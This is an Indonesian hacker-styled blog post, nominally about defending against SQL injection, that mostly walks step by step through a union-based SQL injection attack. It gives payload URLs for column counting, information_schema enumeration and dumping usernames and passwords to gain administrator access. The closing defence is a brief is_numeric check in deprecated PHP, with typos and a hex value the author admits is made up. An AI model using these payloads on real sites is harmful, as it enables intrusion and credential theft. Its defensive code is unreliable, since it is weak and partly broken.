BL4ZTERZT404
NOT FOUND!
Today : | at : | safemode : OFF| Security : Active
> / blazterzt404 / public_html / blog / post /

Dear sobat blogger blazterzt, blog blazterzt sudah aktif kembali silahkan cekout konten terbaru dari mas blazt.
name author perms com modified label

.:: Security - Tekhnik Menangkal Serangan SQL Injection Pada Website Anda BLAZTERROR rwxr-xr-x 0 9:59 PM

Filename .:: Security - Tekhnik Menangkal Serangan SQL Injection Pada Website Anda
Permission rwxrw-r--
Author BLAZTERROR
Date and Time 9:59 PM
Label
Action
1. Teknik serangan SQL Injection dimulai dengan mengetes suatu get_variable dengan menambahkan karakter single quote ( ' )

http://www.target.com/index.php?id=560'

Selanjutnya pada query sql yang ada pada script akan berubah menjadi

Code:

select * from 'tblBerita' where 'id' = 560' <--- terdapat karakter petik satu.

Hal ini menyebabkan query error dan menampilkan pesan error-nya pada halaman website.

2. Dengan tanda error ini, selanjutnya sang attacker melanjutkan melakukan inject pada query sql ini dengan tujuan menampilkan informasi yang ada pada tabel user, admin atau nama tabel lain untuk mengetahui user dan password yang tersimpan dalam website.

HOW??? HOW??? Caranya bagaimana. Pada MYSQL versi 5, hal ini dapat dilakukan dengan memanfaatkan informasi yang terdapat pada database information_schema.

Kita lanjut dulu saja SQL Injectionnya.

Selanjutnya kita akan coba cari jumlah record yang ada pada tabel.

Kita tes apakah error atau tidak, seharusnya tidak.
Code:

select * from `tblBerita` where `id` = 560 order by 1

Maksud query ini, hasil select diurutkan berdasarkan pada colomn nomor 1.

Coba terus sampai tampil pesan error
Code:

http://www.target.com/index.php?id=560 order by 2 <-? masih belum error

http://www.target.com/index.php?id=560 order by 3 <<<? masih belum error

http://www.target.com/index.php?id=560 order by 4 <<<? masih belum error

http://www.target.com/index.php?id=560 order by 5 <<<? akhirnya error juga

Ini misal aja loh ya, di lapangan ntar jumlah angkanya bisa berbeda-beda. Ini menandakan bahawa field atau colomn yang ada pada tabel hanya ada 4.

3. Selanjutnya, lakukan union select
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4

Query pada web jadi seperti ini
Code:

select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4

Result aslinya tidak akan tampil, yang tampil malah angka-angka yang dijadikan union select. Kita cari angka mana yang tampil pada halaman website. Misal angka yang tampil pada halaman website angka 2.

4. Kita dapat menggunakan function2 sql pada url tersebut, contohnya version()
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4

Fungsi ini berguna untuk menampilkan versi mysql yang digunakan, jika versi mysql adalah versi 5. Kida dapat mulai melakukan inject untuk menampilkan informasi yang ada pada database information schema.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()

Query ini berfungsi untuk menampilkan isi dari table 'tables' yang ada pada database information_schema yang mana nama databasenya = database(), funsi database() akan menghasilkan nama database yang digunakan oleh website.

Setelah nama2 table diketahui, kita akan coba menampilkan nama2 colomn yang ada pada table. Misal nama table yang akan kita tampilkan isi kolomnya 'tbluser'
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah dulu kata 'tbluser' ke bentuk hexa, gunakan http://cyber4rt.com/~converter yang menyediakan jasa convert text ke hexa.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser

Jika cara ini gagal, sebelumnya ubah kata 'tbluser' ke bentuk hexa.
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = 0?6164A689

(ni hexa yang aku pake ngawur, hehe... ntar coba sendiri aja)

Setelah keluar nama2 colomn dari tabel 'tbluser', kita lanjutkan untuk menampilkan record dari tabel ini.

Misal colomn2 yang tampil : id, user, email, password
Code:

http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0?3a, password), 3, 4 from tbluser

Kita tampilkan yang penting2 saja.

Selanjutnya isi tabel akan ditampilkan, dan setelah kita dapatkan user dan password admin. Kita cari tempat untuk melakukan login ke system dan Eng ing eng, akses kita menjadi Administrator pada website.

PENANGKAL

Teknik serangan yang panjang lebar ini ternyata hanya memerlukan sedikit tambahan code untuk menambalnya, benarkah??? ya.. Mari kita bahas.
Code:

$result = mysql_query ("select * from 'tblBerita' wheere 'id' = $id ");


Serangan ini dapat terjadi dikarenakan tidak ada filter pada get_variable, sehingga attacker dapat menambahkan query jahat pada query aslinya. hehehe, nilai yang dibutuhkan pada get_variable id hanya nilai numeric saja sehingga kita dapat melakukan pengecekan apakah nilainya angka valid atau tidak
Code:

if (!is_numeric($id))

$id = 0;

$result = mysql_query ("select * from 'tblBerita' where 'id' = $id ");

Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika nilai id tidak valid sebagai angka.

Huft, sudah kok itu aja.. heheheeh.. :P

avatar Author : BLAZTERROR
Posting : .:: Security - Tekhnik Menangkal Serangan SQL Injection Pada Website Anda
Time : 9:59 PM
Label :
Get The c0de and feel your soul ~ Indonesian c0ders

Baca Juga yang ini :



0 comments:

 

BL4ZTERZT404_ © 2013 BL4ZTERZT404 Blogs All Right Reserved
Thx To B374K and p4r4ghcyb3rn3t, Template Redesign by BL4ZTERZT404 - Blogs

Find Our Facebook!
Join Indonesia Blog Community!